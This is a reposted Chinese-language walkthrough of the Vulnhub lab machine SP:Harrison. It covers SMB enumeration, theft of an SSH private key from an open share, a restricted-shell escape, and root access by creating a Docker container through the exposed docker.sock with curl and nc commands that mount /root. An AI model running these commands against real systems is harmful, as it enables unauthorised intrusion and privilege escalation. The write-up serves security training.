Vulnhub_SP:Harrison
2022-1-14 09:11:11 Author: www.freebuf.com(查看原文) 阅读量:9 收藏

freeBuf

主站

分类

漏洞 工具 极客 Web安全 系统安全 网络安全 无线安全 设备/客户端安全 数据安全 安全管理 企业安全 工控安全

特色

头条 人物志 活动 视频 观点 招聘 报告 资讯 区块链安全 标准与合规 容器安全 公开课

官方公众号企业安全新浪微博

FreeBuf.COM网络安全行业门户,每日发布专业的安全资讯、技术剖析。

FreeBuf+小程序

FreeBuf+小程序

Vulnhub下载地址:
https://www.vulnhub.com/entry/sp-harrison,302/

0x01 环境介绍

攻击机:192.168.10.137
靶机:192.168.10.135

0x02 信息收集

利用nmap对靶机进行端口扫描

nmap -A 192.168.10.0/24
image
可以发现存在22、445端口
445端口运行Samba服务(Samba是在Linux和UNIX系统上实现SMB协议的一个免费软件,SMB协议是客户机/服务器型协议,客户机通过该协议可以访问服务器上的共享文件系统、打印机及其他资源)
使用enum4linux对445端口进行信息收集

enum4linux 192.168.10.135
image可以发现存在一个共享文件夹Private
image

0x03 检测

利用smbclient -L 192.168.10.135查看服务端分享出来的资源
image

0x04 利用

直接使用smbclient //192.168.10.135/Private
smbclient可像ftp一样使用
image看了看flag.txt,好家伙没啥东西,就想到ssh的RSA免密登录,进入.ssh文件夹下,发现有3份文件,利用get命令都下下来
get id_rsa
image然后直接利用ssh [email protected] -i id_rsa进行登录,发现不行,原来是权限问题
修改权限后再次连接,OK
image利用echo && 'bash' 进入交互界面

echo 输出
&&与逻辑
前面命令成功继续执行后面的所以shell就成功了

然后在/root下发现flag.txt文件,发现还是打不开,不过这显示管理员有执行权限,尝试提权。
参考了其他文章后才发现要利用dokcer提权

查看运行的docker容器信息

curl -XGET --unix-socket /var/run/docker.sock http://localhost/containers/json
image

证明有就行

创建新的docker容器

echo -e '{"Image":"ubuntu","Cmd":["/bin/sh"],"DetachKeys":"Ctrl-p,Ctrl-q","OpenStdin":true,"Mounts":[{"Type":"bind","Source":"/root/","Target":"/os_root"}]}' > container.json

其中主要是将root文件挂载到docker容器的os_root下

查看并启动创建的docker容器

查看创建容器的信息

curl -XPOST -H "Content-Type: application/json" --unix-socket /var/run/docker.sock -d "$(cat container.json)" http://localhost/containers/create
image

启动容器
这儿容器名要注意,和上图查看信息有关
curl -XPOST --unix-socket /var/run/docker.sock http://localhost/containers/34b3/start

利用nc访问容器

利用nc -U /var/run/docker.sock进行连接
然后输入
POST /containers/34b3/attach?stream=1&stdin=1&stdout=1&stderr=1 HTTP/1.1
Host:
Connection: Upgrade
Upgrade: tcp
image然后访问刚刚挂载在docker上的os_root文件夹的flag文件
image

0x05 总结(个人观点,仅供参考)

1、端口挂载的服务可能不一样,但是利用方式值得思考,自己需要总结一下利用方法等
2、对于docker容器不熟悉,还是通过国外的大佬才成功复现的,这个需要值得深思
3、虽然是将root文件挂载到docker的os_root文件夹下,相当于cp操作,但会是真正的docker提权吗,包括docker逃逸,自己确实不足之处太多太多
4、学习到了enum4linux、smbclient、RSA登录SSH的使用方法


文章来源: https://www.freebuf.com/articles/others-articles/317415.html
如有侵权请联系:admin#unsafe.sh